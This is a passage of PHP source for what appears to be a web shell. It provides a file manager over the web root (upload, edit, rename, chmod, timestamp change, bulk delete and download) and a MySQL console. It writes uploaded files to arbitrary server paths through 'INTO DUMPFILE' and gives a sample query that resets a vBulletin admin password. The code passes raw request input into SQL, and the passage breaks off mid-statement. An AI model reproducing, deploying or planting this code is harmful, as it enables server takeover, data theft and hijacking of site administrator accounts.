color=red>\'.sizecount($all).\'</font> (<font color=red>\'.$used_percent.\'</font>%)</font>\');\n\n?>\n<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">\n  <form action="" method="post" id="godir" name="godir">\n  <tr>\n    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>\n\t<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>\n    <td nowrap><input class="bt" value="GO" type="submit"></td>\n  </tr>\n  </form>\n</table>\n<script type="text/javascript">\nfunction createdir(){\n\tvar newdirname;\n\tnewdirname = prompt(\'Please input the directory name:\', \'\');\n\tif (!newdirname) return;\n\t$(\'createdir\').newdirname.value=newdirname;\n\t$(\'createdir\').submit();\n}\nfunction fileperm(pfile){\n\tvar newperm;\n\tnewperm = prompt(\'Current file:\'+pfile+\'\\nPlease input new attribute:\', \'\');\n\tif (!newperm) return;\n\t$(\'fileperm\').newperm.value=newperm;\n\t$(\'fileperm\').pfile.value=pfile;\n\t$(\'fileperm\').submit();\n}\nfunction copyfile(sname){\n\tvar tofile;\n\ttofile = prompt(\'Original file:\'+sname+\'\\nPlease input object file (fullpath):\', \'\');\n\tif (!tofile) return;\n\t$(\'copyfile\').tofile.value=tofile;\n\t$(\'copyfile\').sname.value=sname;\n\t$(\'copyfile\').submit();\n}\nfunction rename(oldname){\n\tvar newfilename;\n\tnewfilename = prompt(\'Former file name:\'+oldname+\'\\nPlease input new filename:\', \'\');\n\tif (!newfilename) return;\n\t$(\'rename\').newfilename.value=newfilename;\n\t$(\'rename\').oldname.value=oldname;\n\t$(\'rename\').submit();\n}\nfunction dofile(doing,thefile,m){\n\tif (m && !confirm(m)) {\n\t\treturn;\n\t}\n\t$(\'filelist\').doing.value=doing;\n\tif (thefile){\n\t\t$(\'filelist\').thefile.value=thefile;\n\t}\n\t$(\'filelist\').submit();\n}\nfunction createfile(nowpath){\n\tvar filename;\n\tfilename = prompt(\'Please input the file name:\', \'\');\n\tif (!filename) return;\n\topfile(\'editfile\',nowpath + filename,nowpath);\n}\nfunction opfile(action,opfile,dir){\n\t$(\'fileopform\').action.value=action;\n\t$(\'fileopform\').opfile.value=opfile;\n\t$(\'fileopform\').dir.value=dir;\n\t$(\'fileopform\').submit();\n}\nfunction godir(dir,view_writable){\n\tif (view_writable) {\n\t\t$(\'godir\').view_writable.value=1;\n\t}\n\t$(\'godir\').dir.value=dir;\n\t$(\'godir\').submit();\n}\n</script>\n  <?php\n\ttbhead();\n\tp(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">\');\n\tp(\'<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="\'.$dir.\'" type="hidden" /><input name="dir" value="\'.$dir.\'" type="hidden" /></div>\');\n\tp(\'<a href="javascript:godir(\\\'\'.$_SERVER["DOCUMENT_ROOT"].\'\\\');">WebRoot</a>\');\n\tif ($view_writable) {\n\t\tp(\' | <a href="javascript:godir(\\\'\'.$nowpath.\'\\\');">View All</a>\');\n\t} else {\n\t\tp(\' | <a href="javascript:godir(\\\'\'.$nowpath.\'\\\',\\\'1\\\');">View Writable</a>\');\n\t}\n\tp(\' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\\\'\'.$nowpath.\'\\\');">Create File</a>\');\n\tif (IS_WIN && IS_COM) {\n\t\t$obj = new COM(\'scripting.filesystemobject\');\n\t\tif ($obj && is_object($obj)) {\n\t\t\t$DriveTypeDB = array(0 => \'Unknow\',1 => \'Removable\',2 => \'Fixed\',3 => \'Network\',4 => \'CDRom\',5 => \'RAM Disk\');\n\t\t\tforeach($obj->Drives as $drive) {\n\t\t\t\tif ($drive->DriveType == 2) {\n\t\t\t\t\tp(\' | <a href="javascript:godir(\\\'\'.$drive->Path.\'/\\\');" title="Size:\'.sizecount($drive->TotalSize).\'&#13;Free:\'.sizecount($drive->FreeSpace).\'&#13;Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');\n\t\t\t\t} else {\n\t\t\t\t\tp(\' | <a href="javascript:godir(\\\'\'.$drive->Path.\'/\\\');" title="Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tp(\'</td></tr></form>\');\n\n\tp(\'<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>\');\n\n\t// Get path\n\t$dirdata=array();\n\t$filedata=array();\n\n\tif ($view_writable) {\n\t\t$dirdata = GetList($nowpath);\n\t} else {\n\t\t// Open dir\n\t\t$dirs=@opendir($dir);\n\t\twhile ($file=@readdir($dirs)) {\n\t\t\t$filepath=$nowpath.$file;\n\t\t\tif(@is_dir($filepath)){\n\t\t\t\t$dirdb[\'filename\']=$file;\n\t\t\t\t$dirdb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));\n\t\t\t\t$dirdb[\'dirchmod\']=getChmod($filepath);\n\t\t\t\t$dirdb[\'dirperm\']=getPerms($filepath);\n\t\t\t\t$dirdb[\'fileowner\']=getUser($filepath);\n\t\t\t\t$dirdb[\'dirlink\']=$nowpath;\n\t\t\t\t$dirdb[\'server_link\']=$filepath;\n\t\t\t\t$dirdb[\'client_link\']=ue($filepath);\n\t\t\t\t$dirdata[]=$dirdb;\n\t\t\t} else {\n\t\t\t\t$filedb[\'filename\']=$file;\n\t\t\t\t$filedb[\'size\']=sizecount(@filesize($filepath));\n\t\t\t\t$filedb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));\n\t\t\t\t$filedb[\'filechmod\']=getChmod($filepath);\n\t\t\t\t$filedb[\'fileperm\']=getPerms($filepath);\n\t\t\t\t$filedb[\'fileowner\']=getUser($filepath);\n\t\t\t\t$filedb[\'dirlink\']=$nowpath;\n\t\t\t\t$filedb[\'server_link\']=$filepath;\n\t\t\t\t$filedb[\'client_link\']=ue($filepath);\n\t\t\t\t$filedata[]=$filedb;\n\t\t\t}\n\t\t}// while\n\t\tunset($dirdb);\n\t\tunset($filedb);\n\t\t@closedir($dirs);\n\t}\n\t@sort($dirdata);\n\t@sort($filedata);\n\t$dir_i = \'0\';\n\tforeach($dirdata as $key => $dirdb){\n\t\tif($dirdb[\'filename\']!=\'..\' && $dirdb[\'filename\']!=\'.\') {\n\t\t\t$thisbg = bg();\n\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\tp(\'<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>\');\n\t\t\tp(\'<td><a href="javascript:godir(\\\'\'.$dirdb[\'server_link\'].\'\\\');">\'.$dirdb[\'filename\'].\'</a></td>\');\n\t\t\tp(\'<td nowrap>\'.$dirdb[\'mtime\'].\'</td>\');\n\t\t\tp(\'<td nowrap>--</td>\');\n\t\t\tp(\'<td nowrap>\');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$dirdb[\'server_link\'].\'\\\');">\'.$dirdb[\'dirchmod\'].\'</a> / \');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$dirdb[\'server_link\'].\'\\\');">\'.$dirdb[\'dirperm\'].\'</a>\'.$dirdb[\'fileowner\'].\'</td>\');\n\t\t\tp(\'<td nowrap><a href="javascript:dofile(\\\'deldir\\\',\\\'\'.$dirdb[\'server_link\'].\'\\\',\\\'Are you sure will delete \'.$dirdb[\'filename\'].\'? \\\\n\\\\nIf non-empty directory, will be delete all the files.\\\')">Del</a> | <a href="javascript:rename(\\\'\'.$dirdb[\'server_link\'].\'\\\');">Rename</a></td>\');\n\t\t\tp(\'</tr>\');\n\t\t\t$dir_i++;\n\t\t} else {\n\t\t\tif($dirdb[\'filename\']==\'..\') {\n\t\t\t\tp(\'<tr class=fout>\');\n\t\t\t\tp(\'<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\\\'\'.getUpPath($nowpath).\'\\\');">Parent Directory</a></td>\');\n\t\t\t\tp(\'</tr>\');\n\t\t\t}\n\t\t}\n\t}\n\n\tp(\'<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>\');\n\tp(\'<form id="filelist" name="filelist" action="\'.$self.\'" method="post">\');\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'thefile\');\n\tmakehide(\'doing\');\n\tmakehide(\'dir\',$nowpath);\n\t$file_i = \'0\';\n\tforeach($filedata as $key => $filedb){\n\t\tif($filedb[\'filename\']!=\'..\' && $filedb[\'filename\']!=\'.\') {\n\t\t\t$fileurl = str_replace(SA_ROOT,\'\',$filedb[\'server_link\']);\n\t\t\t$thisbg = bg();\n\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\tp(\'<td width="2%" nowrap><input type="checkbox" value="1" name="dl[\'.$filedb[\'server_link\'].\']"></td>\');\n\t\t\tp(\'<td><a href="\'.$fileurl.\'" target="_blank">\'.$filedb[\'filename\'].\'</a></td>\');\n\t\t\tp(\'<td nowrap>\'.$filedb[\'mtime\'].\'</td>\');\n\t\t\tp(\'<td nowrap>\'.$filedb[\'size\'].\'</td>\');\n\t\t\tp(\'<td nowrap>\');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$filedb[\'server_link\'].\'\\\');">\'.$filedb[\'filechmod\'].\'</a> / \');\n\t\t\tp(\'<a href="javascript:fileperm(\\\'\'.$filedb[\'server_link\'].\'\\\');">\'.$filedb[\'fileperm\'].\'</a>\'.$filedb[\'fileowner\'].\'</td>\');\n\t\t\tp(\'<td nowrap>\');\n\t\t\tp(\'<a href="javascript:dofile(\\\'downfile\\\',\\\'\'.$filedb[\'server_link\'].\'\\\');">Down</a> | \');\n\t\t\tp(\'<a href="javascript:copyfile(\\\'\'.$filedb[\'server_link\'].\'\\\');">Copy</a> | \');\n\t\t\tp(\'<a href="javascript:opfile(\\\'editfile\\\',\\\'\'.$filedb[\'server_link\'].\'\\\',\\\'\'.$filedb[\'dirlink\'].\'\\\');">Edit</a> | \');\n\t\t\tp(\'<a href="javascript:rename(\\\'\'.$filedb[\'server_link\'].\'\\\');">Rename</a> | \');\n\t\t\tp(\'<a href="javascript:opfile(\\\'newtime\\\',\\\'\'.$filedb[\'server_link\'].\'\\\',\\\'\'.$filedb[\'dirlink\'].\'\\\');">Time</a>\');\n\t\t\tp(\'</td></tr>\');\n\t\t\t$file_i++;\n\t\t}\n\t}\n\tp(\'<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\\\'downrar\\\');">Packing download selected</a> - <a href="javascript:dofile(\\\'delfiles\\\');">Delete selected</a></td><td colspan="4" align="right">\'.$dir_i.\' directories / \'.$file_i.\' files</td></tr>\');\n\tp(\'</form></table>\');\n}// end dir\n\nelseif ($action == \'sqlfile\') {\n\tif($doing=="mysqlupload"){\n\t\t$file = $_FILES[\'uploadfile\'];\n\t\t$filename = $file[\'tmp_name\'];\n\t\tif (file_exists($savepath)) {\n\t\t\tm(\'The goal file has already existed\');\n\t\t} else {\n\t\t\tif(!$filename) {\n\t\t\t\tm(\'Please choose a file\');\n\t\t\t} else {\n\t\t\t\t$fp=@fopen($filename,\'r\');\n\t\t\t\t$contents=@fread($fp, filesize($filename));\n\t\t\t\t@fclose($fp);\n\t\t\t\t$contents = bin2hex($contents);\n\t\t\t\tif(!$upname) $upname = $file[\'name\'];\n\t\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\t\t$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE \'$savepath\';");\n\t\t\t\tm($result ? \'Upload success\' : \'Upload has failed: \'.mysql_error());\n\t\t\t}\n\t\t}\n\t}\n?>\n<script type="text/javascript">\nfunction mysqlfile(doing){\n\tif(!doing) return;\n\t$(\'doing\').value=doing;\n\t$(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;\n\t$(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;\n\t$(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;\n\t$(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;\n\t$(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;\n\t$(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;\n\t$(\'mysqlfile\').submit();\n}\n</script>\n<?php\n\t!$dbhost && $dbhost = \'localhost\';\n\t!$dbuser && $dbuser = \'root\';\n\t!$dbport && $dbport = \'3306\';\n\t$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');\n\tformhead(array(\'title\'=>\'MYSQL Information\',\'name\'=>\'dbinfo\'));\n\tmakehide(\'action\',\'sqlfile\');\n\tp(\'<p>\');\n\tp(\'DBHost:\');\n\tmakeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));\n\tp(\':\');\n\tmakeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));\n\tp(\'DBUser:\');\n\tmakeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));\n\tp(\'DBPass:\');\n\tmakeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));\n\tp(\'DBName:\');\n\tmakeinput(array(\'name\'=>\'dbname\',\'size\'=>15,\'value\'=>$dbname));\n\tp(\'DBCharset:\');\n\tmakeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));\n\tp(\'</p>\');\n\tformfoot();\n\tp(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">\');\n\tp(\'<h2>Upload file</h2>\');\n\tp(\'<p><b>This operation the DB user must has FILE privilege</b></p>\');\n\tp(\'<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\\\'mysqlupload\\\');">Upload</a></p>\');\n\tp(\'<h2>Download file</h2>\');\n\tp(\'<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\\\'mysqldown\\\');">Download</a></p>\');\n\tmakehide(\'dbhost\');\n\tmakehide(\'dbport\');\n\tmakehide(\'dbuser\');\n\tmakehide(\'dbpass\');\n\tmakehide(\'dbname\');\n\tmakehide(\'charset\');\n\tmakehide(\'doing\');\n\tmakehide(\'action\',\'sqlfile\');\n\tp(\'</form>\');\n}\n\nelseif ($action == \'sqladmin\') {\n\t!$dbhost && $dbhost = \'localhost\';\n\t!$dbuser && $dbuser = \'root\';\n\t!$dbport && $dbport = \'3306\';\n\t$dbform = \'<input type="hidden" id="connect" name="connect" value="1" />\';\n\tif(isset($dbhost)){\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbhost\\" name=\\"dbhost\\" value=\\"$dbhost\\" />\\n";\n\t}\n\tif(isset($dbuser)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbuser\\" name=\\"dbuser\\" value=\\"$dbuser\\" />\\n";\n\t}\n\tif(isset($dbpass)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbpass\\" name=\\"dbpass\\" value=\\"$dbpass\\" />\\n";\n\t}\n\tif(isset($dbport)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbport\\" name=\\"dbport\\" value=\\"$dbport\\" />\\n";\n\t}\n\tif(isset($dbname)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"dbname\\" name=\\"dbname\\" value=\\"$dbname\\" />\\n";\n\t}\n\tif(isset($charset)) {\n\t\t$dbform .= "<input type=\\"hidden\\" id=\\"charset\\" name=\\"charset\\" value=\\"$charset\\" />\\n";\n\t}\n\n\tif ($doing == \'backupmysql\' && $saveasfile) {\n\t\tif (!$table) {\n\t\t\tm(\'Please choose the table\');\n\t\t} else {\n\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\t$table = array_flip($table);\n\t\t\t$fp = @fopen($path,\'w\');\n\t\t\tif ($fp) {\n\t\t\t\t$result = q(\'SHOW tables\');\n\t\t\t\tif (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');\n\t\t\t\t$mysqldata = \'\';\n\t\t\t\twhile ($currow = mysql_fetch_array($result)) {\n\t\t\t\t\tif (isset($table[$currow[0]])) {\n\t\t\t\t\t\tsqldumptable($currow[0], $fp);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfclose($fp);\n\t\t\t\t$fileurl = str_replace(SA_ROOT,\'\',$path);\n\t\t\t\tm(\'Database has success backup to <a href="\'.$fileurl.\'" target="_blank">\'.$path.\'</a>\');\n\t\t\t\tmysql_close();\n\t\t\t} else {\n\t\t\t\tm(\'Backup failed\');\n\t\t\t}\n\t\t}\n\t}\n\tif ($insert && $insertsql) {\n\t\t$keystr = $valstr = $tmp = \'\';\n\t\tforeach($insertsql as $key => $val) {\n\t\t\tif ($val) {\n\t\t\t\t$keystr .= $tmp.$key;\n\t\t\t\t$valstr .= $tmp."\'".addslashes($val)."\'";\n\t\t\t\t$tmp = \',\';\n\t\t\t}\n\t\t}\n\t\tif ($keystr && $valstr) {\n\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\tm(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? \'Insert new record of success\' : mysql_error());\n\t\t}\n\t}\n\tif ($update && $insertsql && $base64) {\n\t\t$valstr = $tmp = \'\';\n\t\tforeach($insertsql as $key => $val) {\n\t\t\t$valstr .= $tmp.$key."=\'".addslashes($val)."\'";\n\t\t\t$tmp = \',\';\n\t\t}\n\t\tif ($valstr) {\n\t\t\t$where = base64_decode($base64);\n\t\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\t\tm(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? \'Record updating\' : mysql_error());\n\t\t}\n\t}\n\tif ($doing == \'del\' && $base64) {\n\t\t$where = base64_decode($base64);\n\t\t$delete_sql = "DELETE FROM $tablename WHERE $where";\n\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\tm(q("DELETE FROM $tablename WHERE $where") ? \'Deletion record of success\' : mysql_error());\n\t}\n\n\tif ($tablename && $doing == \'drop\') {\n\t\tdbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);\n\t\tif (q("DROP TABLE $tablename")) {\n\t\t\tm(\'Drop table of success\');\n\t\t\t$tablename = \'\';\n\t\t} else {\n\t\t\tm(mysql_error());\n\t\t}\n\t}\n\n\t$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');\n\n\tformhead(array(\'title\'=>\'MYSQL Manager\'));\n\tmakehide(\'action\',\'sqladmin\');\n\tp(\'<p>\');\n\tp(\'DBHost:\');\n\tmakeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));\n\tp(\':\');\n\tmakeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));\n\tp(\'DBUser:\');\n\tmakeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));\n\tp(\'DBPass:\');\n\tmakeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));\n\tp(\'DBCharset:\');\n\tmakeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));\n\tmakeinput(array(\'name\'=>\'connect\',\'value\'=>\'Connect\',\'type\'=>\'submit\',\'class\'=>\'bt\'));\n\tp(\'</p>\');\n\tformfoot();\n?>\n<script type="text/javascript">\nfunction editrecord(action, base64, tablename){\n\tif (action == \'del\') {\n\t\tif (!confirm(\'Is or isn\\\'t deletion record?\')) return;\n\t}\n\t$(\'recordlist\').doing.value=action;\n\t$(\'recordlist\').base64.value=base64;\n\t$(\'recordlist\').tablename.value=tablename;\n\t$(\'recordlist\').submit();\n}\nfunction moddbname(dbname) {\n\tif(!dbname) return;\n\t$(\'setdbname\').dbname.value=dbname;\n\t$(\'setdbname\').submit();\n}\nfunction settable(tablename,doing,page) {\n\tif(!tablename) return;\n\tif (doing) {\n\t\t$(\'settable\').doing.value=doing;\n\t}\n\tif (page) {\n\t\t$(\'settable\').page.value=page;\n\t}\n\t$(\'settable\').tablename.value=tablename;\n\t$(\'settable\').submit();\n}\n</script>\n<?php\n\t// SQL\n\tformhead(array(\'name\'=>\'recordlist\'));\n\tmakehide(\'doing\');\n\tmakehide(\'action\',\'sqladmin\');\n\tmakehide(\'base64\');\n\tmakehide(\'tablename\');\n\tp($dbform);\n\tformfoot();\n\n\t// Data\n\tformhead(array(\'name\'=>\'setdbname\'));\n\tmakehide(\'action\',\'sqladmin\');\n\tp($dbform);\n\tif (!$dbname) {\n\t\tmakehide(\'dbname\');\n\t}\n\tformfoot();\n\n\n\tformhead(array(\'name\'=>\'settable\'));\n\tmakehide(\'action\',\'sqladmin\');\n\tp($dbform);\n\tmakehide(\'tablename\');\n\tmakehide(\'page\',$page);\n\tmakehide(\'doing\');\n\tformfoot();\n\n\t$cachetables = array();\n\t$pagenum = 30;\n\t$page = intval($page);\n\tif($page) {\n\t\t$start_limit = ($page - 1) * $pagenum;\n\t} else {\n\t\t$start_limit = 0;\n\t\t$page = 1;\n\t}\n\tif (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {\n\t\tdbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);\n\t\t// get mysql server\n\t\t$mysqlver = mysql_get_server_info();\n\t\tp(\'<p>MySQL \'.$mysqlver.\' running in \'.$dbhost.\' as \'.$dbuser.\'@\'.$dbhost.\'</p>\');\n\t\t$highver = $mysqlver > \'4.1\' ? 1 : 0;\n\n\t\t// Show database\n\t\t$query = q("SHOW DATABASES");\n\t\t$dbs = array();\n\t\t$dbs[] = \'-- Select a database --\';\n\t\twhile($db = mysql_fetch_array($query)) {\n\t\t\t$dbs[$db[\'Database\']] = $db[\'Database\'];\n\t\t}\n\t\tmakeselect(array(\'title\'=>\'Please select a database:\',\'name\'=>\'db[]\',\'option\'=>$dbs,\'selected\'=>$dbname,\'onchange\'=>\'moddbname(this.options[this.selectedIndex].value)\',\'newline\'=>1));\n\t\t$tabledb = array();\n\t\tif ($dbname) {\n\t\t\tp(\'<p>\');\n\t\t\tp(\'Current dababase: <a href="javascript:moddbname(\\\'\'.$dbname.\'\\\');">\'.$dbname.\'</a>\');\n\t\t\tif ($tablename) {\n\t\t\t\tp(\' | Current Table: <a href="javascript:settable(\\\'\'.$tablename.\'\\\');">\'.$tablename.\'</a> [ <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'insert\\\');">Insert</a> | <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'structure\\\');">Structure</a> | <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'drop\\\');">Drop</a> ]\');\n\t\t\t}\n\t\t\tp(\'</p>\');\n\t\t\tmysql_select_db($dbname);\n\n\t\t\t$getnumsql = \'\';\n\t\t\t$runquery = 0;\n\t\t\tif ($sql_query) {\n\t\t\t\t$runquery = 1;\n\t\t\t}\n\t\t\t$allowedit = 0;\n\t\t\tif ($tablename && !$sql_query) {\n\t\t\t\t$sql_query = "SELECT * FROM $tablename";\n\t\t\t\t$getnumsql = $sql_query;\n\t\t\t\t$sql_query = $sql_query." LIMIT $start_limit, $pagenum";\n\t\t\t\t$allowedit = 1;\n\t\t\t}\n\t\t\tp(\'<form action="\'.$self.\'" method="POST">\');\n\t\t\tp(\'<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>\'.$dbname.\'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \\\'69e53e5ab9536e55d31ff533aefc4fbe\\\', salt = \\\'p5T\\\' WHERE `userid` = \\\'1\\\' </font>\n\t\t\t</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">\'.htmlspecialchars($sql_query,ENT_QUOTES).\'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>\');\n\t\t\tmakehide(\'tablename\', $tablename);\n\t\t\tmakehide(\'action\',\'sqladmin\');\n\t\t\tp($dbform);\n\t\t\tp(\'</form>\');\n\t\t\tif ($tablename || ($runquery && $sql_query)) {\n\t\t\t\tif ($doing == \'structure\') {\n\t\t\t\t\t$result = q("SHOW COLUMNS FROM $tablename");\n\t\t\t\t\t$rowdb = array();\n\t\t\t\t\twhile($row = mysql_fetch_array($result)) {\n\t\t\t\t\t\t$rowdb[] = $row;\n\t\t\t\t\t}\n\t\t\t\t\tp(\'<table border="0" cellpadding="3" cellspacing="0">\');\n\t\t\t\t\tp(\'<tr class="head">\');\n\t\t\t\t\tp(\'<td>Field</td>\');\n\t\t\t\t\tp(\'<td>Type</td>\');\n\t\t\t\t\tp(\'<td>Null</td>\');\n\t\t\t\t\tp(\'<td>Key</td>\');\n\t\t\t\t\tp(\'<td>Default</td>\');\n\t\t\t\t\tp(\'<td>Extra</td>\');\n\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\tforeach ($rowdb as $row) {\n\t\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Field\'].\'</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Type\'].\'</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Null\'].\'&nbsp;</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Key\'].\'&nbsp;</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Default\'].\'&nbsp;</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$row[\'Extra\'].\'&nbsp;</td>\');\n\t\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\t}\n\t\t\t\t\ttbfoot();\n\t\t\t\t} elseif ($doing == \'insert\' || $doing == \'edit\') {\n\t\t\t\t\t$result = q(\'SHOW COLUMNS FROM \'.$tablename);\n\t\t\t\t\twhile ($row = mysql_fetch_array($result)) {\n\t\t\t\t\t\t$rowdb[] = $row;\n\t\t\t\t\t}\n\t\t\t\t\t$rs = array();\n\t\t\t\t\tif ($doing == \'insert\') {\n\t\t\t\t\t\tp(\'<h2>Insert new line in \'.$tablename.\' table &raquo;</h2>\');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tp(\'<h2>Update record in \'.$tablename.\' table &raquo;</h2>\');\n\t\t\t\t\t\t$where = base64_decode($base64);\n\t\t\t\t\t\t$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");\n\t\t\t\t\t\t$rs = mysql_fetch_array($result);\n\t\t\t\t\t}\n\t\t\t\t\tp(\'<form method="post" action="\'.$self.\'">\');\n\t\t\t\t\tp($dbform);\n\t\t\t\t\tmakehide(\'action\',\'sqladmin\');\n\t\t\t\t\tmakehide(\'tablename\',$tablename);\n\t\t\t\t\tp(\'<table border="0" cellpadding="3" cellspacing="0">\');\n\t\t\t\t\tforeach ($rowdb as $row) {\n\t\t\t\t\t\tif ($rs[$row[\'Field\']]) {\n\t\t\t\t\t\t\t$value = htmlspecialchars($rs[$row[\'Field\']]);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$value = \'\';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\t\tp(\'<td><b>\'.$row[\'Field\'].\'</b><br />\'.$row[\'Type\'].\'</td><td><textarea class="area" name="insertsql[\'.$row[\'Field\'].\']" style="width:500px;height:60px;overflow:auto;">\'.$value.\'</textarea></td></tr>\');\n\t\t\t\t\t}\n\t\t\t\t\tif ($doing == \'insert\') {\n\t\t\t\t\t\tp(\'<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>\');\n\t\t\t\t\t} else {\n\t\t\t\t\t\tp(\'<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>\');\n\t\t\t\t\t\tmakehide(\'base64\', $base64);\n\t\t\t\t\t}\n\t\t\t\t\tp(\'</table></form>\');\n\t\t\t\t} else {\n\t\t\t\t\t$querys = @explode(\';\',$sql_query);\n\t\t\t\t\tforeach($querys as $num=>$query) {\n\t\t\t\t\t\tif ($query) {\n\t\t\t\t\t\t\tp("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");\n\t\t\t\t\t\t\tswitch(qy($query))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcase 